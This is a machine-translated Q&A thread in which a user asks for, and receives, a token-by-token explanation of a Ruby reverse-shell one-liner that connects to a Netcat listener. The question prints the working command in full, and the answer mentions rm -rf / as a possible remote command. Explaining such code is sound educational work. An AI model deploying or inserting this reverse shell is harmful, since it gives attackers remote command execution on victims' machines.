【问题标题】:Ruby one-liner breakdown?红宝石单线故障?
【发布时间】:2018-08-28 16:40:10
【问题描述】:
我是 Ruby 新手,并试图更好地理解这个反向 shell 单线,旨在连接回 Netcat 侦听器。
有人可以尝试分解命令并解释某些代码的实际作用吗?例如,我知道“TCPSocket.new”创建了新的 TCP 套接字,但“cmd=c.gets”、“IO.popen”、“|io|c.print io.read”等是什么。 while 循环的用途?
ruby -rsocket -e "c=TCPSocket.new('<IP Address>','<Port>');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"
【问题讨论】:
标签:
ruby-on-rails
ruby
shell
command-line
netcat
【解决方案1】:
好的,让我们分解一下。
ruby
运行 ruby 解释器,你可能知道那部分
-rsocket
相当于require "socket"(r for require)
-e "some string"
将 some string 作为 ruby 脚本运行(e 用于执行)
while(cmd=c.gets)
是说“虽然gets(获取字符串直到并包括下一个换行符)从连接c返回一些东西,即当有数据进入时,将其分配给cmd和..
IO.popen(cmd,'r'){|io|c.print io.read}
.. 运行 cmd 作为 shell 命令,读取输出,然后 print 将其返回到连接 c。
因此,实际上,通过网络接收命令(如ls . 或rm -rf /),读入,运行,获取输出,然后发回。一直这样做,直到对方停止发送命令。
因为gets会阻塞并等待下一行进来,这个单行会坐在那里等到连接关闭。
可能不想让其他人通过该连接发送命令,因为它会运行他们直接在您的计算机上发送的任何内容,尽管这大概就是您所说的“反向 shell”的意思。